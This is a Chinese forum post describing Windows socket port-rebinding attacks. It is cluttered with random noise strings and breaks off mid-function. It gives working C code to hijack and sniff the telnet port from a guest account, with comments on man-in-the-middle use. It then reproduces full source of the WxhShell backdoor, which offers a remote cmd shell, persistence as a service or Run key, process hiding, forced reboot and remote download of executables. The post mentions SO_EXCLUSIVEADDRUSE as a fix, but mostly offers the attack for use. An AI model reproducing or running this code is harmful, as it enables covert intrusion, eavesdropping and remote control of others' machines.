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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y~{<Hs s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0!ZaR6 `O0Qtq. saddr.sin_family = AF_INET; n^l*oEl S5ai@Ksf saddr.sin_addr.s_addr = htonl(INADDR_ANY); {,h_T0D^j N"G\H<n bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r63l( fpC":EX@r 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z[<Na3] Bt,'g*Cs 这意味着什么?意味着可以进行如下的攻击: js Z"T RN[x\" , 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lMu-,Z=" 5Ww,vSCV) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M/9[P*
VE \<T7EV. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H?Q--pG8 \7*|u 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 UF-'( #\^=3A|b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 phf{b+'#X '/6f2[%Y" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZX`x9/0& `5wiXsNjLY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N'&>bO?@` ^9 LoxU- #include l1]{r2g #include _/}$X"4 #include r*$f^T!| #include hHVAN3e DWORD WINAPI ClientThread(LPVOID lpParam); S,Q^M
)$ int main() H'/V<% { /j$pV WORD wVersionRequested; Al8Dw)uG{ DWORD ret; $ ~%Y}Xt* WSADATA wsaData; J(/J;PW BOOL val; y }R2ZO SOCKADDR_IN saddr;
q. Jx|x SOCKADDR_IN scaddr; t1mG] int err; u t4:LHF SOCKET s; K39I j_3 SOCKET sc; YlG#sBzl int caddsize; L xIKH
G HANDLE mt; 2}/r>]9^- DWORD tid; - ry wVersionRequested = MAKEWORD( 2, 2 ); id :
^| err = WSAStartup( wVersionRequested, &wsaData ); 4~$U#$u_ if ( err != 0 ) { SC4jKm2 printf("error!WSAStartup failed!\n"); 5WRqeSGh return -1; XP% _|Q2X } 7_qsVhh]$E saddr.sin_family = AF_INET; .|07IH/Di{ VWK/(>TP //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ank_;jo dz/fSA saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kv2o.q saddr.sin_port = htons(23); {fl[BX]kZ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \I4Uj.'>\ { W?E,"z printf("error!socket failed!\n"); CPcUB4a%# return -1; %@)q=*=y } ~'0n
]Fw val = TRUE; }b}jw.2Wu //SO_REUSEADDR选项就是可以实现端口重绑定的 8$47Y2r@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4]0:zS*O { >d]-X] printf("error!setsockopt failed!\n"); -#/DK return -1; a`^$xOK, } Ti0kfjhX7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !.O[@A\.- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 W1xPK* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J>#yA0QD2 <zvtQ^{] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _4SZ9yu { hslT49m> ret=GetLastError(); lV4TFt, printf("error!bind failed!\n"); r1RM7y return -1; vShB26b } Z"w}`&TC$^ listen(s,2); ,98 F while(1) md18q:AG) { B= E/|J</ caddsize = sizeof(scaddr); 4Y1^ U{A+ //接受连接请求 Fec4 #}| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^z,B}Nz if(sc!=INVALID_SOCKET) S["r
@< { *9=}f;~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); CW8YNJ' if(mt==NULL) r^rk@W;[ { 5?
Y(FhnIC printf("Thread Creat Failed!\n"); PlA#xnq# break; 8L/XZ) } tq'hiS(b } s%Ph CloseHandle(mt); fQ!W)>mi }
u0oTqD? closesocket(s); bZfq? WSACleanup(); 4,X CbcC return 0; bVN?7D( } _]Ob)RUVH DWORD WINAPI ClientThread(LPVOID lpParam) qyKR]%yzi { Xf7]+ SOCKET ss = (SOCKET)lpParam; D5bi)@G7z SOCKET sc; OT|0_d?bD unsigned char buf[4096]; &K[~Ab_ SOCKADDR_IN saddr; o::9M_; long num; `H*mQERb DWORD val; +=|%9% DWORD ret; tK *y/S //如果是隐藏端口应用的话,可以在此处加一些判断 lcReRcjm //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]=xX_ saddr.sin_family = AF_INET; oVbs^sbRH saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A(`Mwh+ saddr.sin_port = htons(23); N:+EGmp if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ax;<idC} { Zj ^e8u=T printf("error!socket failed!\n"); \j wxW6> return -1; N z=P1&G' } v<l]K$5J& val = 100; AFYdBK] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a#CjGj) { Ow5VBw( ret = GetLastError(); UMD\n<+cG, return -1; =<aFkBX- } u=~`5vA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !e
|Bi{ { |<oqT+?i ret = GetLastError();
;Q/1l=Bn return -1; OR+py.vK } kqo4
v;r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :2vuc!Pu { wCv9VvF` printf("error!socket connect failed!\n"); u:W/6QS closesocket(sc); $*_79F2zN closesocket(ss); Ks(l :oUB return -1; \{a5]G(4s } ;tA$
x!5] while(1) I*cb\eU8Y { ]uh/ !\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7o!t/WEEq //如果是嗅探内容的话,可以再此处进行内容分析和记录 {]m/15/$C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5t_Dt<lIz num = recv(ss,buf,4096,0); 6iEg]FI if(num>0) >nvK{6xR: send(sc,buf,num,0); JHZjf7g$k else if(num==0) vAeVQ~ break; ~Ij/vyB_ num = recv(sc,buf,4096,0);
4sH?85=j if(num>0) <KCyXU* send(ss,buf,num,0); ubVZEsoW? else if(num==0) M5_t#[ [ break; i 2uSPV!Tf } THK^u+~LM closesocket(ss); w&VDe(:~ closesocket(sc); /!p}H'jl return 0 ; f;,*P,K } l)jP!k f$dIPt( #a
tL2(wJ ========================================================== )_o^d>$da 4N7|LxNNl_ 下边附上一个代码,,WXhSHELL ;}ThBb3 t pxk8Ys ========================================================== @ uQ *$ =kK%,Mr #include "stdafx.h" _E6N*ORV zq ?xY`E #include <stdio.h> ^4<&"aoo #include <string.h> }mUb1b #include <windows.h> h>!9N
dzG #include <winsock2.h> UYW'pV #include <winsvc.h> e$`hRZ%
#include <urlmon.h> "K+EZ%~< \&Bdi6xAy #pragma comment (lib, "Ws2_32.lib") 9GTp};Kg #pragma comment (lib, "urlmon.lib") 3%Q9521 #@1( #define MAX_USER 100 // 最大客户端连接数 4HGS #define BUF_SOCK 200 // sock buffer STg}
Z #define KEY_BUFF 255 // 输入 buffer "i*gJFW| ;$4&Qp:# #define REBOOT 0 // 重启 2hryY #define SHUTDOWN 1 // 关机 "*MF=VB1 vO/ 3bu} #define DEF_PORT 5000 // 监听端口 Vu E$-)&) ]P>XXE;[ #define REG_LEN 16 // 注册表键长度 qFq$a9w|@ #define SVC_LEN 80 // NT服务名长度 WoNY8
8hT ]-SJ";aU // 从dll定义API "o_'q@.} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6'<[QoW]; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G!%8DX5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J^<uo( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 88?O4)c )24M?R@r // wxhshell配置信息 ! gfd!R struct WSCFG { ]0|A\bE\S int ws_port; // 监听端口 1_Av_X char ws_passstr[REG_LEN]; // 口令 B/!/2x int ws_autoins; // 安装标记, 1=yes 0=no )DlKeiK char ws_regname[REG_LEN]; // 注册表键名 0bIgOLP char ws_svcname[REG_LEN]; // 服务名 n:k4t char ws_svcdisp[SVC_LEN]; // 服务显示名 Unb3
Gv#O char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ve)BF1YG char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z%lJWvaA7 int ws_downexe; // 下载执行标记, 1=yes 0=no 2\T\p<_20 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ` QW=<Le? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5nsoWqnE8 >&7^yXS }; ?`O^;f S QGYH // default Wxhshell configuration Un
T\6u struct WSCFG wscfg={DEF_PORT, HXZ,"S "xuhuanlingzhe", O.xtY@'" 1, u-mD" "Wxhshell", kBoQjOV` "Wxhshell", %*Uc,V "WxhShell Service", h@(+(fVHrp "Wrsky Windows CmdShell Service", n}(A4^=4KQ "Please Input Your Password: ", )E^4U9v), 1, 1Ax;|.KQH " http://www.wrsky.com/wxhshell.exe", *0Fz." v "Wxhshell.exe" Nv6"c<(L= }; FC+h
\ D&~%w! // 消息定义模块 Vry_X2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HSAr6h char *msg_ws_prompt="\n\r? for help\n\r#>"; 6h %rt]g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wp>
z04
char *msg_ws_ext="\n\rExit."; @>V;guJC% char *msg_ws_end="\n\rQuit."; DZ`m{l3H char *msg_ws_boot="\n\rReboot..."; YgS,5::SU char *msg_ws_poff="\n\rShutdown..."; RU~ku{8? char *msg_ws_down="\n\rSave to "; KNj~7aTp 9tVV?Q@) char *msg_ws_err="\n\rErr!"; {s*2d P) char *msg_ws_ok="\n\rOK!"; !=a]Awr\ \^RKb-6n char ExeFile[MAX_PATH]; q(~|roKA( int nUser = 0; jI H^ HANDLE handles[MAX_USER]; jiLJiYMg int OsIsNt; BHZhdm@), ;YW@ 3F-h SERVICE_STATUS serviceStatus; VYO1qj SERVICE_STATUS_HANDLE hServiceStatusHandle; lCl5#L9 .q[}e);) // 函数声明 V{A`?Jl6{ int Install(void); fBv:
TC% int Uninstall(void); [K'gvLt1 int DownloadFile(char *sURL, SOCKET wsh); k6RVP:V int Boot(int flag);
P +OS void HideProc(void); ^w<aS
w int GetOsVer(void); L/]
(pXEp int Wxhshell(SOCKET wsl); X ,^([$ void TalkWithClient(void *cs); Pt/]Z<VL int CmdShell(SOCKET sock); lI.oyR' int StartFromService(void); DX+zK'34 int StartWxhshell(LPSTR lpCmdLine); K:~tZ mZPvG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j0a=v}j3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); a
}*i [ rPGj+wL5- // 数据结构和表定义 p3{Ff5FZ SERVICE_TABLE_ENTRY DispatchTable[] = Ot:}Ncq^\O { B.~]
7H5"( {wscfg.ws_svcname, NTServiceMain}, ; D/6e6 {NULL, NULL} dl6U]v= }; u#Jr_ze nb<o o:^ // 自我安装 ?h%Jb^#9 int Install(void) ctjQBWE { N
fG9a~ char svExeFile[MAX_PATH]; $u yx HKEY key; ar}-~~h 5 strcpy(svExeFile,ExeFile); -57~7
<N 9:-7.^`P // 如果是win9x系统,修改注册表设为自启动 \]5I atli if(!OsIsNt) { /sT?p=[. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ctLNzJes% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f% )9!qeW RegCloseKey(key); BK6
X)1R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { } e+`Kxy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0`-b57lF& RegCloseKey(key); 5Pn.c! return 0;
%DXBl:!Y` } A8Fe@$<#8 } Vdd } HK~SD:d else { BI %XF
9{ #u8#<
,w // 如果是NT以上系统,安装为系统服务 9q_{_%G% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =W:=}ODD if (schSCManager!=0) ?6`B;_m { kROIVO1|` SC_HANDLE schService = CreateService mTxqcQc:7 ( N!3Tg564j schSCManager, z8JW iRn wscfg.ws_svcname, F@f4-NR> wscfg.ws_svcdisp, rqqd} kA SERVICE_ALL_ACCESS, &0-oi Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JcmJq
fR SERVICE_AUTO_START, Dm5 Uy^F} SERVICE_ERROR_NORMAL, Y7r;}^+WY svExeFile, t&J A1|q NULL, seBmhe5qR NULL, >Bf3X&uS NULL, 2%`=
LGQC NULL, +,LWyvc' NULL 4_U"M@ ); dgoAaS2M if (schService!=0) OoH-E.lp { sVw:d_ E CloseServiceHandle(schService); .O5V;&, CloseServiceHandle(schSCManager); m:[I$b6AY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p^<(.+P4 strcat(svExeFile,wscfg.ws_svcname); H)7v$A,5% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ID,_0b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XC^*z[#4{ RegCloseKey(key); rVoV@,P return 0; T>rmm7F } V@#oQi* } PDuBf&/e CloseServiceHandle(schSCManager); z06,$OYz } /YHO"4Z } d-+jb<C& 3-{BXht) return 1; $m2#oI'D } _
s3d$C?B b&&l // 自我卸载 72Y6gcg int Uninstall(void) NGl
8*Af { oYZ
4F HKEY key; 7KhS{w6 rMbq_5} if(!OsIsNt) { 0r1GGEW`s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I@/
G#3Zr RegDeleteValue(key,wscfg.ws_regname); A`f"<W-m RegCloseKey(key); 8TeOh1\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,mp<<%{u RegDeleteValue(key,wscfg.ws_regname); /[FDiJH2 RegCloseKey(key); Zdqm|_R[ return 0; |;wc8; } gI;"P kN } )c' 45bD }
\\KjiT' else { NF6xKwRU]_ P{6$".kIY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '!7>*< if (schSCManager!=0) `M6"=)twu { >aO.a[AM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c2M if (schService!=0) uo]xC+^ { &3Zb? if(DeleteService(schService)!=0) { rBTg"^jsw CloseServiceHandle(schService); VbvP!<8 CloseServiceHandle(schSCManager); T3{~f return 0; .F 6US<] } },l
i'r#p CloseServiceHandle(schService); \j`0f=z_ } y&,|+h CloseServiceHandle(schSCManager); 'lA}E } ZPG,o5`% } :.e'?a
^rVHaI return 1; U`qC.s(L } c.IUqin 2MRd // 从指定url下载文件 *O~y6|U? int DownloadFile(char *sURL, SOCKET wsh) `5Kg[nB: { s;OGb{H7 HRESULT hr; L?d?O char seps[]= "/"; :C} I6v= char *token; lK=Is
v+ char *file; j*?8w(! char myURL[MAX_PATH]; Jq&Hz$L| char myFILE[MAX_PATH]; ,Zn6T"[$ H%vfRl3rB strcpy(myURL,sURL); //2O#Fg{/ token=strtok(myURL,seps); ?pW1}:z
while(token!=NULL) ;um)JCXz { l&+O*=#Hh file=token; BJux5Nh token=strtok(NULL,seps); r{R<J?Y } HqW / .t1:;H b GetCurrentDirectory(MAX_PATH,myFILE); w{*kbGB8s7 strcat(myFILE, "\\"); >fXtu:C-!J strcat(myFILE, file); qKfUm:7Q_ send(wsh,myFILE,strlen(myFILE),0); eavn.I8J send(wsh,"...",3,0); Ra|P5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l!x+K& if(hr==S_OK) _HHvL= return 0; #kM|!U= else MRt"#CO return 1; metn& AyO%,6p[ } E,Rj;? :lB`K>)iB} // 系统电源模块 j J{F0o int Boot(int flag) 3O2G+G2 { rH`\UZ{cc HANDLE hToken; prj( TOKEN_PRIVILEGES tkp; 940:NOgm DH?n~qKpC if(OsIsNt) { i;1pw_K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @FN|=?8% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nKm#
kb tkp.PrivilegeCount = 1; a*5KUj6/TL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0 MK} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5VTVx1P[8 if(flag==REBOOT) { aG
}oI! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /(JG\Ut return 0; l{dsm1#W~ } 9?,i+\)qK@ else { >wh v*@Fr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #!F>cez return 0; xA
Ez1 } S<i1t[E@W } w&L~+Z< else { >g{&Qx`& if(flag==REBOOT) { P_A@`eU0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wH o}wp return 0; 1;( h0j } gvR]"h else { 6NX#=A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gf"TI:xa return 0; i"a3POV> } U~][
ph } Wm6qy6HR
d78 [(; return 1; @6'~RD. } 5K1cPU~o_b [=(8yUV'G // win9x进程隐藏模块 l9f_NJHo void HideProc(void) ~-zIB=TyK { ,N(Yjq"R nnj<k5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <8b1OdA if ( hKernel != NULL ) (U& { `Qo37B2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mm@G{J\\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |)!f".` FreeLibrary(hKernel); .3C::~: } qqw P4ceG ,kJ7c;:i return; >O\+ 9T@ } +u
Iq]tqe kC. !cPd // 获取操作系统版本 FB?~:7+' int GetOsVer(void) u$R5Q{H_ { 5c]:/9& OSVERSIONINFO winfo; 1@p, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $b|LZE\bU. GetVersionEx(&winfo); + kMj|()>\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9iG&9tB@ return 1; C})Dvh else Vq+7 /+2" return 0; R)66qRf } *eoH"UFYQ# d/9YtG%q // 客户端句柄模块 m&gd<rt/ int Wxhshell(SOCKET wsl) 3l<qcKKc { ?\8aT"o SOCKET wsh; P_5aHeiJ struct sockaddr_in client; qhY+<S9 DWORD myID; wL8ji>" -0CBMoe while(nUser<MAX_USER) INr1bAe$ { teS>t!d int nSize=sizeof(client); 44*#qLN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Qq/nUR if(wsh==INVALID_SOCKET) return 1; {C5:as b5|*p(7[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #1haq[Uv7 if(handles[nUser]==0) /iO"4%v closesocket(wsh); o5s6$\" else C<J*C0vQO nUser++; 8S#$'2sT } X "7CN Td WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B`-uZ9k 8s6[-F5 return 0; "?zWCH } zj r($? "a[;{s{{. // 关闭 socket qI uo8o} void CloseIt(SOCKET wsh) ,<L4tp+y0 { u9f^wn closesocket(wsh); Jt5V{9:(' nUser--; J`5+Zngr ExitThread(0); ura&9~ } p"hO6b%V 0;TiNrzg // 客户端请求句柄 x 4v:67_^ void TalkWithClient(void *cs) &)k=ccm { 73X*|g[O ^}~Q(ji7 SOCKET wsh=(SOCKET)cs; hOB<6Tm[ char pwd[SVC_LEN]; n'mrLZw char cmd[KEY_BUFF]; SEI0G_wk$ char chr[1]; fsjLD|?|: int i,j; i[KXkjr Fl.?*KBz while (nUser < MAX_USER) { V|
Fo@ c)#7T<>*' if(wscfg.ws_passstr) { GG>53}7{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^)9/Wz _x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h/tCve3Z //ZeroMemory(pwd,KEY_BUFF); G06;x i=0; F\N0<o while(i<SVC_LEN) { 7#C$}1XJ1 \L(jNN0_R // 设置超时 bWA_a]G fd_set FdRead; t,%m-dU struct timeval TimeOut; c-hc.i}! FD_ZERO(&FdRead); "^z%|uXkf FD_SET(wsh,&FdRead); 8)8~c@ TimeOut.tv_sec=8; y0p=E^QM TimeOut.tv_usec=0; fC'u-m?!Q' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sX6\AYF1M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y<6Sl6l* ^4`x:6m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p'LLzc## pwd =chr[0]; g
sm%4>sc if(chr[0]==0xd || chr[0]==0xa) { R8[VD iM6E pwd=0; 0 8L;u7u break; tkV[^OeU> } #D_Ti%.^} i++; N>3{!K>/Y: } R7rM$|n=o _:\rB // 如果是非法用户,关闭 socket Q(<A Yu if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \9,lMK[b } OulRqbL2 2T*kmDp send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "*#f^/LS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eWqS]cM# \{<ml n while(1) { D-@6 hWh~ Ru`afjc ZeroMemory(cmd,KEY_BUFF); 5*2hTM! ?:/J8s
[O // 自动支持客户端 telnet标准 ]uFJ~:R j=0; tiGH#~? while(j<KEY_BUFF) { pHR`%2!"t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \
R}I4' cmd[j]=chr[0]; $DH/ if(chr[0]==0xa || chr[0]==0xd) { sRT5i9TQ cmd[j]=0; WY|~E%k break; CX/[L)|Ru } b(N+_=
n j++; ;sA
5&a>! } P4"BX*x B>E4," // 下载文件 7Q{&L#; if(strstr(cmd,"http://")) { 4wKCzPy send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fb<'L5}i if(DownloadFile(cmd,wsh)) ds(X[7XGW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LiHJm- else Mm8_EjMp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qDGx(d } NblPVxS else { uD{-a$6z 4?@5JpC9VA switch(cmd[0]) { $o+@}B0) ^4WZ%J#g // 帮助 A?HDY_u case '?': { #vK99S2 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EIzTbW{p break; e?(4lD)d } O~8jz // 安装 Z .`+IN(>E case 'i': { Yw=@*CK' if(Install()) o&q:b9T send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kc]
GE#~g else YH^U"\}i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~\HizSl break;
fATnza } 9ox5,7ZQ // 卸载 S9:ij1 case 'r': { y46sL~HRv if(Uninstall()) "?aE3$/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); W{JR%Sq$ else |LIcq0Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); um PN=0u6 break; nUq@`G } 1 h(n}u // 显示 wxhshell 所在路径 'O ~_g5kC case 'p': { De$Ic"Z9L char svExeFile[MAX_PATH]; MIr[_ strcpy(svExeFile,"\n\r"); Xl$r720ZJr strcat(svExeFile,ExeFile); E\4ZUGy0 send(wsh,svExeFile,strlen(svExeFile),0); uuHs) break;
*W | } Q.4+"JoG // 重启 {3os9r, case 'b': { $!'Vn)Z7 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G|&$/]~ if(Boot(REBOOT)) %j0c|u send(wsh,msg_ws_err,strlen(msg_ws_err),0); agoMsxI9 else { F$v ^S+Ch closesocket(wsh); cPL6(&7 ExitThread(0); l}S96B } s Fk{Tv@Yz break; J'#o6Ud } SPTx-b[ // 关机 =`}|hI case 'd': { <vg|8-,#m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NSRY(#3 if(Boot(SHUTDOWN)) pTQ7woj} send(wsh,msg_ws_err,strlen(msg_ws_err),0); _NuHz else { 2MXg)GBcU> closesocket(wsh); R,!aX"]| ExitThread(0); _B4N2t$ } L eUp! break; q2Gm8>F1y. } (F R // 获取shell '&AeOn case 's': { V-%jSe< CmdShell(wsh); o9D#d\G closesocket(wsh); nm|"9|/
ExitThread(0); IQ#Kod;) break; s?sr0HZ } ayf;'1 // 退出 q|B.@Ng. case 'x': { eZpi+BRS6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #B$_ily) CloseIt(wsh); $KRpu<5i} break; k~Y_%#_
} /ubGa6N // 离开 jfR!M07| case 'q': { (=53WbOh/t send(wsh,msg_ws_end,strlen(msg_ws_end),0); cpq0'x\ closesocket(wsh); O,&p"K&Z WSACleanup(); oe_,q&e exit(1); NUY sQO) break; I7#+B1t } A{hST~s } }N3Ur~X\ } _rUsb4r \$8p8MP<&D // 提示信息 "X1{* if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /h!iLun7I } v Dph}Z } bsWDjV~ n
QOLR?% return; M)nf(jw#G } IrP6Rxh 44h z, // shell模块句柄 40LAG int CmdShell(SOCKET sock) rYA4(rYq { }PzYt~Z`@ STARTUPINFO si; =H^^A G\} ZeroMemory(&si,sizeof(si)); mhnK{M @56 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "OKsl2e si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yc$8X sns PROCESS_INFORMATION ProcessInfo; ;fY)7
' char cmdline[]="cmd"; 74Il]i1= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t7$2/C return 0; 0K^G>)l } m}-~VYDj p~u11rH // 自身启动模式 ~u80v h' int StartFromService(void) [~rBnzb { j0K}nS\ P typedef struct ~Ywt o { dLu3C-.( DWORD ExitStatus; 6EX8,4c\ DWORD PebBaseAddress; |)R{(AK- DWORD AffinityMask; DO=zxdTI! DWORD BasePriority; qg-?Z,EB ULONG UniqueProcessId; Xn8r3Nb$A ULONG InheritedFromUniqueProcessId; y$pT5X G } PROCESS_BASIC_INFORMATION; Ll6|Wh X G0$,H(]~ PROCNTQSIP NtQueryInformationProcess; |FD-q.AV !*|`-woE static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !TuMrA* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I'RhA\` ZTSNM)f HANDLE hProcess; KbF,jm5 PROCESS_BASIC_INFORMATION pbi; a?9Ka!O4s J\kv}v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >sE{c>R% if(NULL == hInst ) return 0; )0Lv-Gs oBTRO0.s+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ul3._Q g_pGetModuleBaseName = 